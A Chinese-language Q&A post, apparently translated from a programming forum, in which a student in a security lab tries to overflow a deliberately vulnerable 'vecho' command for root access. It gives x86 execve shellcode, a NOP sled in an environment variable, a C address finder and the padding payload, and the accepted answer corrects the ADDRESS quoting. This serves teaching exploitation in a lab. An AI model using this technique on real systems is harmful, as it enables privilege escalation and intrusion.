我正在做一个实验,它要求我们执行缓冲区溢出,以使用一个内置的易受攻击的命令vecho(函数与echo相同)获得根权限。不管我怎么努力,我都不能让它工作。

    .section .text
 .globl _start
_start:
     xor  %eax, %eax    // your comments go here
     push %eax       // and here, and so on...
     push $0x68732f2f
     push $0x6e69622f
     mov  %esp, %ebx
     push %eax
  mov  %esp, %ecx
  push %ebx
  mov  %eax, %edx
  mov  $0xb, %al
  int  $0x80

我们将其加载到保存为egg的环境变量中
export EGG=$(<shellcode.bin)

然后我们做一个雪橇
SLED=`python -c "print '\x90' * 100"`

并将底座添加到变量中
export EGG=$SLED$EGG

我们用这个找到运行vecho时EGG的地址
#include<stdio.h>
   #include<stdlib.h>
   #include<string.h>
   int main(int argc, char** argv){
       char *ptr;
       if(argc < 3){
           printf("Usage:%s<environmentvar><targetprogramname>\n",
             argv[0]);
           exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
    printf("%s will be at %p\n", argv[1], ptr);
}

然后,我们通过这样的操作以小尾数形式创建一个地址变量
ADDRESS=echo -en "\xff\xff\xff\xbf"

以及一个填充变量,其字符数足以将地址推送到eip中,然后运行
vecho $PADDING$ADDRESS

但无论我尝试什么,我得到一个成功的打印,如果填充太小,SEG故障,如果填充太长,中间的非法指令。我觉得这个非法指令点很重要,但我不能让它真正运行shell代码。

最佳答案

你差点就搞定了。指令是非法的,因为看起来您正在将echo-en“\xff\xff\xff\xbf”分配给地址。你想做的是:

ADDRESS=`echo -en "\xff\xff\xff\xbf"`

它将结果分配给ADDRESS,而不是整个命令。

09-27 23:16